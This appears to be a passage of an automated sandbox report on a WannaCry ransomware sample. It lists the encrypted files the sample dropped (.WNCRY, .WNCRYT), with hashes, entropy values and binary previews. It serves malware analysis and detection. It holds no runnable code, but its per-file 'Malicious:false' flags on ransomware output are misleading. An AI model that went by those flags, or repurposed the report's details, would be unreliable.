                                    SHA1:70E1E243BB12F8B90F998108C1D5317B8D10F6D7
                                    SHA-256:FD42FC06AEA75262884C86E8B4B42FF1A0B43F24DD18A8F3F2B04BB30974A24D
                                    SHA-512:DEAE3E56E7DEB909FBFCDCAEBE8B759FD55CB9874CB08DB5014E0F84FBE876137966380EC0E165CCD5C9A9F3CB875D27FE6E0E0E6FFA79C196CEAC7F875674EB
                                    Malicious:false
                                    Preview:WANACRY!.....9F#m__..0.N.N...`...(6.6.E.=7 ...;f.:h.X. Li.....q....Us....4.gY'BNtd....4_.6uj..3....5...\....3..n....Z....5....]...4...M.2H.E..x.h5..P...N|.p..j?;....;..W>..%as\......Eo.=.3..W..(y.8...-..:...4.?.. ...~...q..mb2mHhj_......s...=...i.3.k.H.c.&.d.............8.Wz..1@..]2..F..k+.E..<...g....G.:....j.k...2.x..H6.~..\./...^fG....pju.....7.g..)UN.z.V...6...O.%.O.....o^..t..X.{.X.....W7..].cY@f.h?...p}W..X...+.p.;..Y.J..Zw..!......Ol..i.9..>.....e.{.A-*o....h0iE.....yq4F<....|z..j.1...Q.m.....S{...Z..[-.=...k...'m0..........X...xo.f.%.e.q.4?2..j.S...p.X.+.a...3.T)p.<.MI....Pvg..<..........~..Q3g....O..t.]...5A0b|.Y.P..._.Se..y.r.......0.\TzC.~X_.g..X.4\..!KA.....J.O.<..m..\v....B..w.Z...-|..v....a.^.E...vI>...'$........Q...nA.^.N..Iz...y..:...~B......t..h....C.6..z2.f$..(.;.H..Lj....l.....j.,T.R.5`).dx.......O....!..v..U.........7.I.X.c`"...N%}........+...z..._I.2..R.....>...<..C......).)..s.yZo."..._OQ}'..K.@. .T..O#N.6."|W..

                                    C:\Users\user\Desktop\LIJDSFKJZG\BXAJUJAOEO.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830090592001459
                                    Encrypted:false
                                    SSDEEP:24:bkjmTcZinWOAI0kguuBJfMMtTJ4l62bm1WI5fSqfJdFlmu65bvEwV52Xs:bkGnXF0kguubf77A67X5f1JXIugvEw77
                                    MD5:B840338DC2B4A1FC84464C3146D1BA52
                                    SHA1:70E1E243BB12F8B90F998108C1D5317B8D10F6D7
                                    SHA-256:FD42FC06AEA75262884C86E8B4B42FF1A0B43F24DD18A8F3F2B04BB30974A24D
                                    SHA-512:DEAE3E56E7DEB909FBFCDCAEBE8B759FD55CB9874CB08DB5014E0F84FBE876137966380EC0E165CCD5C9A9F3CB875D27FE6E0E0E6FFA79C196CEAC7F875674EB
                                    Malicious:false
                                    Preview:WANACRY!.....9F#m__..0.N.N...`...(6.6.E.=7 ...;f.:h.X. Li.....q....Us....4.gY'BNtd....4_.6uj..3....5...\....3..n....Z....5....]...4...M.2H.E..x.h5..P...N|.p..j?;....;..W>..%as\......Eo.=.3..W..(y.8...-..:...4.?.. ...~...q..mb2mHhj_......s...=...i.3.k.H.c.&.d.............8.Wz..1@..]2..F..k+.E..<...g....G.:....j.k...2.x..H6.~..\./...^fG....pju.....7.g..)UN.z.V...6...O.%.O.....o^..t..X.{.X.....W7..].cY@f.h?...p}W..X...+.p.;..Y.J..Zw..!......Ol..i.9..>.....e.{.A-*o....h0iE.....yq4F<....|z..j.1...Q.m.....S{...Z..[-.=...k...'m0..........X...xo.f.%.e.q.4?2..j.S...p.X.+.a...3.T)p.<.MI....Pvg..<..........~..Q3g....O..t.]...5A0b|.Y.P..._.Se..y.r.......0.\TzC.~X_.g..X.4\..!KA.....J.O.<..m..\v....B..w.Z...-|..v....a.^.E...vI>...'$........Q...nA.^.N..Iz...y..:...~B......t..h....C.6..z2.f$..(.;.H..Lj....l.....j.,T.R.5`).dx.......O....!..v..U.........7.I.X.c`"...N%}........+...z..._I.2..R.....>...<..C......).)..s.yZo."..._OQ}'..K.@. .T..O#N.6."|W..

                                    C:\Users\user\Desktop\LIJDSFKJZG\LIJDSFKJZG.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.81586684460995
                                    Encrypted:false
                                    SSDEEP:24:D0miiETuEmSBFyWjgqbztcbtCrNSh57PM9SNc0VCm6FAr:D0tiESIaVcr8h57PMgNfVyAr
                                    MD5:7BBD1DAE07DC31ED1704EA519382EA35
                                    SHA1:6E22B17E7FAEA47B7B9918265FCA45FF1162302D
                                    SHA-256:671181AA555404FF1E97F4183CEAFB6D6ECAD4AD7B82EA19F525BDB344928000
                                    SHA-512:84B552EA66C93D663875361EA1065665D378975CA68DBA1BF4EB7C1E63993552928DC6F267BEBCCD87679F4636F8FA41C479A59951CA1BA42A6A85DF92235BB9
                                    Malicious:false
                                    Preview:r.......!.c...U..1h|.....^.JM.@R..Y..t.0Y.....e.?v.:]p.....vu......2iG.K.3..|aF....F..5...k....p;.PV..Ug..#..!...............#.s.\.s..s$.]..-.iN.*KhB...K..2.tM.......E..~..KG&..|q6V`."W...2D..QfpS._.......S/].....B......:...g."2.skFP45g..Sz...O.....f.(.-...8?.s..!.6C....,.\`.....,{.K...I.*w..!\o1...U."......C........m]^U2$.w....C..~KKC.2{.P.(..Eo..z...t..|#%.&....]#E'.....c...4.......P......$......Wg...I..G........i......+a..."eT#y..f&w.:..y.%..m.a"...d(.k...G..K.\......J..6....2.3xU...............")......~q../....}E..*.rJ...cy.Jt..^....s(.........k.#..C6\..i....4..*....H.m...[G.=2.<..+.......Z.B...8'...D...W..3&....~v.T.i.v7...n.<.....V.D....(.h..}.0..;<~...gK.[.o..a.{,Q{.....M...x.....2.p5,...c.c5..%.|h...]..S..pi.4. -..#.uO.T.9..n.........kI....C.7...7V....Qn.)c...A..PF./.:9.5......iC......N.w...R{..~.*u...+.C..b.....Qbu....b..t...qP..."8.jlX..:..~.X7]..wk..._....@.0..M.^KE2..l...U.....h.+.#f.h@.....je.j..a]E]...R..Y..M.=d2^...

                                    C:\Users\user\Desktop\LIJDSFKJZG\LIJDSFKJZG.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.817960157085703
                                    Encrypted:false
                                    SSDEEP:24:bkqgqkqN7HhnW47PjLlKknkcFrJoWPw/uEZfbkDkAwzowoQw4eoaudi:bk5qnvnl/nkchGW4/uwGkAwzowhw4XaX
                                    MD5:9B6982F8B4D605F3B395987B61C5F149
                                    SHA1:735B5F9B697F5457A85C1B59F2450E00AB34E270
                                    SHA-256:2D085DF2D27ABB6D418F71A7BA90661465CFB9A4BDF59B1D9C339D81C110B71F
                                    SHA-512:0E4CDF63B4A362229736F7D845402962CC03CDE87E64B5F4E5CA1BDD4DFCFB4C47931822E1B0A581C4098F3BCA63A96D8350A5F1EB7D1BD8721A1EC79CA31D01
                                    Malicious:false
                                    Preview:WANACRY!.......w.t.[....b....&.-_?`y.N.0....n.......O...-.....4....$.k...&.@.!.....77}....vSHH.(?.....]..k. .`..%.&.....Js..~(...x..'`..P.........[t.X..bk...X`..j!V|).....#..VD(".>......P.%.G..O-...>F..{?.>Pe.e.$.cRt.7.].c.....g.>....t.x.......'....\.|..N............c...x%g.["..&/2.(........U...... .....*.Yy&D....?g...V.3@td....$.:....U.... ..!sp.........2.A.J../..l;.V.r....*...Z!..ADq7H....e..A...C.!D...#x....I..,s...2.-..$..^......j.......#.......#M.].h......XV.&..&.....E[].z.......q#..Gc........C.....1...GOa.._.;.%.|..c=..8w.."..T...g..R..9N.+O?"...Qp^....'.x....L.^G=4.........E."........Kg.......J3...N.......f...p[.....-E/0.&.DbV.b{...j...[.9X.+..'.U&..(+..?s+..|..p?(.88rD.N.L..Z.._...F...z...b)e.}.z...QP.Mhf.t...F)..P.A0. E}..Y@!Q.oj....{f..\\...|.v.1.\....*.(.Z......6.6..OZ+..."..T..$.4a.....H...WA...eBiL.i..... .l.........)&..Gl...........K.Zm.k".j.p.`...h.J.#....`4s...9..W..s.3..1.H.......g.gD..*l.pk...a.TEF....12.Sx.

                                    C:\Users\user\Desktop\LIJDSFKJZG\LIJDSFKJZG.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.817960157085703
                                    Encrypted:false
                                    SSDEEP:24:bkqgqkqN7HhnW47PjLlKknkcFrJoWPw/uEZfbkDkAwzowoQw4eoaudi:bk5qnvnl/nkchGW4/uwGkAwzowhw4XaX
                                    MD5:9B6982F8B4D605F3B395987B61C5F149
                                    SHA1:735B5F9B697F5457A85C1B59F2450E00AB34E270
                                    SHA-256:2D085DF2D27ABB6D418F71A7BA90661465CFB9A4BDF59B1D9C339D81C110B71F
                                    SHA-512:0E4CDF63B4A362229736F7D845402962CC03CDE87E64B5F4E5CA1BDD4DFCFB4C47931822E1B0A581C4098F3BCA63A96D8350A5F1EB7D1BD8721A1EC79CA31D01
                                    Malicious:false
                                    Preview:WANACRY!.......w.t.[....b....&.-_?`y.N.0....n.......O...-.....4....$.k...&.@.!.....77}....vSHH.(?.....]..k. .`..%.&.....Js..~(...x..'`..P.........[t.X..bk...X`..j!V|).....#..VD(".>......P.%.G..O-...>F..{?.>Pe.e.$.cRt.7.].c.....g.>....t.x.......'....\.|..N............c...x%g.["..&/2.(........U...... .....*.Yy&D....?g...V.3@td....$.:....U.... ..!sp.........2.A.J../..l;.V.r....*...Z!..ADq7H....e..A...C.!D...#x....I..,s...2.-..$..^......j.......#.......#M.].h......XV.&..&.....E[].z.......q#..Gc........C.....1...GOa.._.;.%.|..c=..8w.."..T...g..R..9N.+O?"...Qp^....'.x....L.^G=4.........E."........Kg.......J3...N.......f...p[.....-E/0.&.DbV.b{...j...[.9X.+..'.U&..(+..?s+..|..p?(.88rD.N.L..Z.._...F...z...b)e.}.z...QP.Mhf.t...F)..P.A0. E}..Y@!Q.oj....{f..\\...|.v.1.\....*.(.Z......6.6..OZ+..."..T..$.4a.....H...WA...eBiL.i..... .l.........)&..Gl...........K.Zm.k".j.p.`...h.J.#....`4s...9..W..s.3..1.H.......g.gD..*l.pk...a.TEF....12.Sx.

                                    C:\Users\user\Desktop\LIJDSFKJZG\PWZOQIFCAN.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.816690583831191
                                    Encrypted:false
                                    SSDEEP:24:oDQlanmdeV8EibhQxJejoiTgchrNDG97TRtrIz82uu76vcz90WXnC:oEdQV8VuxzSxhJS97t32xe0zc
                                    MD5:1109370D6FA8DBD130F36821F55658F2
                                    SHA1:29F1F86A8717DAFACF2C8A3B35295EEC10054EA9
                                    SHA-256:F392C2E8555F2CAFE97C3447666CA3498A7530A411D1490F7FAC2CFBB90A109B
                                    SHA-512:021B26AE9A0242CE5782FFA25D6B0DECDE452ECE3BA104A28DE897804ECC84BAE9FAD78DF9688F3FB07B6BEBF47DD266DF698FCC8CD9D6309915D0121D834193
                                    Malicious:false
                                    Preview:....c.U.......CB...R..X....X`.j......T...6x.o.F<.[.f.O,....I-.......)Y.W..#.!.a.Y"....3......3.....1..y....Ik7R...\..._.O.a.\...".m...OL..f...J.........SC....~...e.[.px..p5.f.f..A..X...d.S.<.e..D....B*...U.)..|.....}......|$.L8... E..RjR.....b}........L.....l..D3....^........v(#...NJ.b.c.v.8..b...b.8...\c3?.....`..K.Z.1.".....C..+......f..H)6..CfoO.....$j...$C.m.m..Yi.....A...K..[...o.|....("K...M.b...}...T..f.......'......8.-I.>...-F.../.t....*.9.N..J.\Z.Tn..~o....O~.d.`....n..\.d5.V..g....q'.#...iVB..QD&...5#.mV..,O.8}{..Nt.A|@.N|.fa...v.Buo......Y...V{....S.d0L5...(..Vk?.3.(../...mQ.....]x..]......}@@.uO..&...o"....m.'.:......R.A.c..xwRU...T.y....NyV..3...D.s.Q..~.M...>......Ew.N...a...r..>`...1.x..)e..P.y...v.+3@^.3C6.&.0...I.J.sH.....E..;q<.n..{..Md.^z...a...mR.....r%Cw...9.(".<.T..R.p.'$.'.]..;..8S*.. ...........P'V....M.Q`.......t..;.".K.x4....?i.Eb....xJK.0.}....,r.Jz......m.............._..C..j..D....]..J.\...xD}...+e.)v...X....B~

                                    C:\Users\user\Desktop\LIJDSFKJZG\PWZOQIFCAN.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853048565111623
                                    Encrypted:false
                                    SSDEEP:24:bk7CYd2VIFx2x4VORnZDP+e4SXnLyUt77EcUALuGHnm2u+WBmkbun2i8:bk7Co5BEvXLyCUcVHnBxQbO8
                                    MD5:797CD56CA25C2428976F88ED8346A34F
                                    SHA1:AA06645C44BF7635D1B39DEDB5385C47397410F3
                                    SHA-256:89541A42F4144E14DD4B3E066C0D5C6D48975D71B59155268398B33FD7CE4BA7
                                    SHA-512:1751F901C2B6256E6BAE5FEF231A6ABB0EE20295C13359845CE8F21BE93B83CD8C2C8A0FF0C575EF6A8A6FEF560AA361FA980D95A53EE2564389F40B730CD048
                                    Malicious:false
                                    Preview:WANACRY!....2....I....n"['Z~.......*..s#..,.2.}..,,1f..tW.TDM...8{.-..^R.K..so...q?U$9.r...l..%.......jy.)..6D.8#......).9.]....&../...e..n.Q.sJ.".......W^..k.@>..u...d.Mm}.e.B....Q....>.(k.I>.UN.P.N...}..gXG..|..|.....r. ..Z..J.m..(.............6D....E;5.............d.4i.S.l.................5.(s@s.mDO..?.G1...g.\.v.x_y.5.4.%p).b&,w.O.[.k~.t.Je..$.8s..A.D....&e...U.s......7.....G.]....)..S....u.2...Y...~.V,...W.^......5)..~.r....=...A3z..;.1...Is...........xD$.Q...S.N."5.)...{h...d.>.S.%..2..1*3.....\....)^....A9.....|..Z{U.g.W.........k..h..L.|o..+..A....+P...O.*.hXB.9..V=p....u9.<p....7...._E.7....h...V....}..g8.ax.M.h.)c.X.PA.P5.S...^(...i....ic.-}....T...8.F}8*.F..z9g.8.s:@.D.l...8(..t....E7XDj......>....i..H&.@....,.jV].J.yr.S.R\........5.vH....i.H.....RJ....b..]...bdx8.O...X.os...........T......0s.z.......T.Pw.....9.'.$...l..._n.U....+l.4.t.@h..!...H+......-.v..V(.......1..(..G.hnD......L.09..d.s6..3R...;2..h.{0.Y.n..8#"M.=\.

                                    C:\Users\user\Desktop\LIJDSFKJZG\PWZOQIFCAN.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853048565111623
                                    Encrypted:false
                                    SSDEEP:24:bk7CYd2VIFx2x4VORnZDP+e4SXnLyUt77EcUALuGHnm2u+WBmkbun2i8:bk7Co5BEvXLyCUcVHnBxQbO8
                                    MD5:797CD56CA25C2428976F88ED8346A34F
                                    SHA1:AA06645C44BF7635D1B39DEDB5385C47397410F3
                                    SHA-256:89541A42F4144E14DD4B3E066C0D5C6D48975D71B59155268398B33FD7CE4BA7
                                    SHA-512:1751F901C2B6256E6BAE5FEF231A6ABB0EE20295C13359845CE8F21BE93B83CD8C2C8A0FF0C575EF6A8A6FEF560AA361FA980D95A53EE2564389F40B730CD048
                                    Malicious:false
                                    Preview:WANACRY!....2....I....n"['Z~.......*..s#..,.2.}..,,1f..tW.TDM...8{.-..^R.K..so...q?U$9.r...l..%.......jy.)..6D.8#......).9.]....&../...e..n.Q.sJ.".......W^..k.@>..u...d.Mm}.e.B....Q....>.(k.I>.UN.P.N...}..gXG..|..|.....r. ..Z..J.m..(.............6D....E;5.............d.4i.S.l.................5.(s@s.mDO..?.G1...g.\.v.x_y.5.4.%p).b&,w.O.[.k~.t.Je..$.8s..A.D....&e...U.s......7.....G.]....)..S....u.2...Y...~.V,...W.^......5)..~.r....=...A3z..;.1...Is...........xD$.Q...S.N."5.)...{h...d.>.S.%..2..1*3.....\....)^....A9.....|..Z{U.g.W.........k..h..L.|o..+..A....+P...O.*.hXB.9..V=p....u9.<p....7...._E.7....h...V....}..g8.ax.M.h.)c.X.PA.P5.S...^(...i....ic.-}....T...8.F}8*.F..z9g.8.s:@.D.l...8(..t....E7XDj......>....i..H&.@....,.jV].J.yr.S.R\........5.vH....i.H.....RJ....b..]...bdx8.O...X.os...........T......0s.z.......T.Pw.....9.'.$...l..._n.U....+l.4.t.@h..!...H+......-.v..V(.......1..(..G.hnD......L.09..d.s6..3R...;2..h.{0.Y.n..8#"M.=\.

                                    C:\Users\user\Desktop\LIJDSFKJZG\WHZAGPPPLA.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:OpenPGP Secret Key
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.808221968623382
                                    Encrypted:false
                                    SSDEEP:24:MprEgqHjvUNqkwvlfSn1bfyGMS42ut5YPkWnd:++vUXGlf+1fPMlFid
                                    MD5:6D66B5EE883A1B115575E58750A485EB
                                    SHA1:1E2D7DF21FB3F1DEDC2F1888B75B379453D61D86
                                    SHA-256:8CE75DE211E70BB5EB8F410500EF56E9C8A25DC7BB6A18B80E6226B374F4C78D
                                    SHA-512:E3ADC2213D38644DDB12BCE92AEB67E8A7F6BE4653012EDA45726776FB23466CEAE3558F905F58B9AA879864E05D035FCBE9A53E36FA396C64387CF6DDAA4A5E
                                    Malicious:false
                                    Preview:...w....EO.$.n..>..R.<1..AD......"..E4j.%o...b4k..e<..]...?..G.)...?i..\2..v.qd..}....0.ib..2....@......".q......8.|..6qt:F?...eT.X...3F.3I......2.O......V.......o..!..qh.CW.[..'..B..."..*.Q.......A.E.....r...Z.+0......vX........+j..V(G\.k.&..S/Oc.hH..3.....8.4M...D...3.....3......H..<..E/.o...=...+..&Ki.z..=N...T.;..b...b.];.YC....5..bw4.FX.0<HuHrZ........1..SQ..R...........o.7.D....D.u..i4......../..y...,.v...)S.3d.4.=L..G.8..zq...>..B....a..1.;z.6..J..O_D..5ve....S..4.!.....`.....b. ..>UF.5=1..$W...D..4Tzq....F..MD..yMk..-.4...h..s..@.n..Ck._..m....&..)...N.u3.wX.qD.JC.....)'$.....6b...?.=..t..........~..gU:S.o..F...\..Nh......+.S...?oo.G.7.r.|..7....U..u2....{.....t.T*..Y..%.qW`Ll.t...Obg.u9P.d.k.{,.yxN.v.]7T.e.. . 6u....d..6.F....K.[....j.x...;{m.'...g..]h.....7......n/F..s....<........g...r.e-.....Ff.M....S.A..S&...........`0..4.p)..`3'N_..t@..hY.....a8.......`..Qv...C....}Ah$..H){vz...G...$U.A..<{....2.^...G......Oe|.b8.X

                                    C:\Users\user\Desktop\LIJDSFKJZG\WHZAGPPPLA.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.856790187568379
                                    Encrypted:false
                                    SSDEEP:24:bkoJSxbaasxay/7uFoewmxHmSTKbRV3gqoeUjOmt5uOmwjXBJePfwotCrpEl9:bkoJSxua+LzuFoeFaP/o8mexuX3ePf80
                                    MD5:BE235F3BF27B3EDF16C751789FAFA913
                                    SHA1:0A49AE59291E5F78315EB24541236326E7BB0DAD
                                    SHA-256:D8364B224F7C491FB80464B60B19FD8E6C7D6A3BE897C92CB1D6060AB1490423
                                    SHA-512:A4439BEDC69CD8E983104FA3C31D68470578DE4D037FE6C1E75C0C4F96E078A4DEF06E8FB389445F1ECEDDE308D1B4766D7DA23983CBB8A67F950876EA321E35
                                    Malicious:false
                                    Preview:WANACRY!.....&X.e...<A+..(Sv.a...-.>..l.+|....._.qX'X@.s..<..N.y...XYH2.\;Q.|...e..}.:.>.....:.u.9rn....eL.....PDYr5.......f$@.kg.KA.W\.K.\/."..#...u....A.W........g@.!d.Z.U..#..M...v;...I.k...y/2.i..pa..}..|........i..A..0.....da...2xc.Y.m..U.......................o..9_...i.../.k.z.j..<I....*............p#.. Z.O.#....6.QM...)..HeV.2di.L..e4...p..j.=/.!2........Y....5....$...........i.".#.....(8..{..@_>...J].m]!<.......bo....e9.n.|"c.e.]f1._....n5.JD ..q+..<.....7..d......`F.*..z....=.!..,.....10'.cj.3..Y.&....[p....V.A..O..w{..d..K...xyn.]...[a.Y...x.'.......hH^....6xQ9hlV.`...;..=...W.R..f....N.]...F.Q.l...........s...h.....h.$^.....X..-.L3...'.I.Z6..4..d...cm...K.._..|.:.W.r.}.}.....".fB/.TX...<..;.:..6>7...f.k.,.... ..;.x.V..R.x...f..R....7.....:....g.u...j.%g..V....@..; .:.o...e|2G.Ch..a.j3.........7...x....*..u.).n.t.Un....w.......p.|..9..$..9&0.R......`.p....... ...........W..wj.[.b..T.r.W9..p..o..,.8..hf'........3....

                                    C:\Users\user\Desktop\LIJDSFKJZG\WHZAGPPPLA.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.856790187568379
                                    Encrypted:false
                                    SSDEEP:24:bkoJSxbaasxay/7uFoewmxHmSTKbRV3gqoeUjOmt5uOmwjXBJePfwotCrpEl9:bkoJSxua+LzuFoeFaP/o8mexuX3ePf80
                                    MD5:BE235F3BF27B3EDF16C751789FAFA913
                                    SHA1:0A49AE59291E5F78315EB24541236326E7BB0DAD
                                    SHA-256:D8364B224F7C491FB80464B60B19FD8E6C7D6A3BE897C92CB1D6060AB1490423
                                    SHA-512:A4439BEDC69CD8E983104FA3C31D68470578DE4D037FE6C1E75C0C4F96E078A4DEF06E8FB389445F1ECEDDE308D1B4766D7DA23983CBB8A67F950876EA321E35
                                    Malicious:false
                                    Preview:WANACRY!.....&X.e...<A+..(Sv.a...-.>..l.+|....._.qX'X@.s..<..N.y...XYH2.\;Q.|...e..}.:.>.....:.u.9rn....eL.....PDYr5.......f$@.kg.KA.W\.K.\/."..#...u....A.W........g@.!d.Z.U..#..M...v;...I.k...y/2.i..pa..}..|........i..A..0.....da...2xc.Y.m..U.......................o..9_...i.../.k.z.j..<I....*............p#.. Z.O.#....6.QM...)..HeV.2di.L..e4...p..j.=/.!2........Y....5....$...........i.".#.....(8..{..@_>...J].m]!<.......bo....e9.n.|"c.e.]f1._....n5.JD ..q+..<.....7..d......`F.*..z....=.!..,.....10'.cj.3..Y.&....[p....V.A..O..w{..d..K...xyn.]...[a.Y...x.'.......hH^....6xQ9hlV.`...;..=...W.R..f....N.]...F.Q.l...........s...h.....h.$^.....X..-.L3...'.I.Z6..4..d...cm...K.._..|.:.W.r.}.}.....".fB/.TX...<..;.:..6>7...f.k.,.... ..;.x.V..R.x...f..R....7.....:....g.u...j.%g..V....@..; .:.o...e|2G.Ch..a.j3.........7...x....*..u.).n.t.Un....w.......p.|..9..$..9&0.R......`.p....... ...........W..wj.[.b..T.r.W9..p..o..,.8..hf'........3....

                                    C:\Users\user\Desktop\LIJDSFKJZG\WSHEJMDVQC.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.771343038947842
                                    Encrypted:false
                                    SSDEEP:24:/B197xqp/WzGS2j6Q9hTiNXZxkthoYknY/FC/mLak81:/B7No6TQ+NshoBnYCeLl81
                                    MD5:F4B82D8F598D507E0E0B7A2C6837D4C8
                                    SHA1:96BF4FA4CA26E2C339927A4F731D02CE7513E36D
                                    SHA-256:808B2E0392502B706B9B0B5C0FABA49936520A288C8AC4F7EE75E04A4A09B9A1
                                    SHA-512:2A3458D041F9087A1C281899D97CC9972DF34ADABB473CB0E192475AF6365A75E1876B6DC79C76A9A09648D4BFFB980133648A41110DEAA7329B5A2276243762
                                    Malicious:false
                                    Preview:f.m.GZ .o>...n...v...6...f.R...T<.wGE0C....+.8a.,....|.......W.p.k..VM.{j...r.`{.XH..+...L4D..R...".w.?K@E{.M..lm...}....K......D......5x..r.u$Idr..Y.It...k.[.0QZ.;N....A.NR}*......}.}.L......ye...(.^"l.*@..'.J..F....E...2].M..............3..h.('B.u M1C...yPC[.H....}..L;2.{...D..>....KOT.VX.^k.#.........h....&......m.........<...i......./-..%.%.6j..P;4.Y....=.#.........."..8.0O[J..E~.T.|..dF....!.S}.%.N.w.......#..}......6.E....[....`-....8...K1.PVV..O9....3.AO......W.UhX.~{..[.b...2.*..... ..u..U~..=_...........O.-.M.H2.....=..A...+.$=...T.co}A....{^.......y.D..vd...;,.......I.k......t[..*.w.Q)A\<Z..v..R+ .d".7..5.w[.....>/....e1.1J.N.B..X...".4..4^.D.q.....@T.d..DI..YD.Z%o......,...zel..>:<NQ..Ut0.F..."V....A\b.&..tW&.......C.;./...a..........zk.y...0.7Lm...l.EM.....ztG.d3~.w..t.lu.mJ...DtB.1.O.E.D.p../.!"..3..r..<[.g.............7.z..W._.P..nHjM..i|N.(...1p..r...w...}?b.....g;...t'.]..............HF.`!."y.-&..C..9.2......P>..xf.$.H..'.$..^M

                                    C:\Users\user\Desktop\LIJDSFKJZG\WSHEJMDVQC.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850670333944656
                                    Encrypted:false
                                    SSDEEP:24:bknvxSwt6m7N5nwIKsRuUflHmBme/5uknhU0+spyboA6/LfGqRh0zOhsP:bkvxSwUm7NP1uUfJmBmiXhU0+spybo/4
                                    MD5:EB2CC738381B3E90B4B5BE9BE08006F6
                                    SHA1:64187B39C6FF45A76274F88ACB9878B7EC87E226
                                    SHA-256:C2B1A38E5FC6B078D21086AAB9D55AF51AEC510842BB9029BF389FEA9FB3C265
                                    SHA-512:EE6265E73D0454E61DBC340945BA90AF4079D9E390355D5F21A14ECF3883E8D737C69DFB7A6D44F0107BE4A8B5E113B1C61AB2A2EBBC99F4C8F956860C5FD68F
                                    Malicious:false
                                    Preview:WANACRY!.....c......}g.LKu.(.q.an./l. .x~.9...S.....AY..;...l".1.Ji$.J.gT..8.@...Q.?.6x.{..y...=.E...U..8...N$.|D{...-=r.'..C'...#-...r.?/.+....q.jF..6\...p.8v\a.'.^.....Bj...F...c.'.q..._.....2)w......5..(..w.n.....-s..^..zxL..^..Ew@W......z.x..@4..5^.................Dp...XmZ..:...\...{.&.>4.l.\...+)......6....Zp*.5.v...+....A8K..a.7./u.[}..E=Q..).EoE..e.h...w....X6..C..E.A$.K.U.l..B0.~...0.b....5e.%Y.T..}..a.=....x.g..o...'i.w..#.&.P...hm...C.{.7....|8.....yx0[}.W)...G[...:n..Um..#..t.....Wb#..'...-4..!`X;..]...n&..zr....i.Y.<.}U.........wV}....S.....w.#..Sm..E)....,.t9.**.?.z..Q...dPm........$U.q..!..(C.a=0..-...#..k.z..U ....8..o..j......'..R. *.,.Q..~=......-..0$..'.9*....M....m..y.-4...>T.......O....&qz_...3.E...+i...].-..0.k.e~N...Z.M.>E..d......3.. J-.|.....gk.EP.Rn...i....JW.hPM.........[^......hJ.......'.@..`..Q."...I.t.."G....1.W2o.SB.V..gT.1.I....yf..O._..(g#.(../.W..A....D..J#.s.M.5.$?.....}Y...$#!b...d..$..+[/.3.6d"w.+K.0..p

                                    C:\Users\user\Desktop\LIJDSFKJZG\WSHEJMDVQC.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850670333944656
                                    Encrypted:false
                                    SSDEEP:24:bknvxSwt6m7N5nwIKsRuUflHmBme/5uknhU0+spyboA6/LfGqRh0zOhsP:bkvxSwUm7NP1uUfJmBmiXhU0+spybo/4
                                    MD5:EB2CC738381B3E90B4B5BE9BE08006F6
                                    SHA1:64187B39C6FF45A76274F88ACB9878B7EC87E226
                                    SHA-256:C2B1A38E5FC6B078D21086AAB9D55AF51AEC510842BB9029BF389FEA9FB3C265
                                    SHA-512:EE6265E73D0454E61DBC340945BA90AF4079D9E390355D5F21A14ECF3883E8D737C69DFB7A6D44F0107BE4A8B5E113B1C61AB2A2EBBC99F4C8F956860C5FD68F
                                    Malicious:false
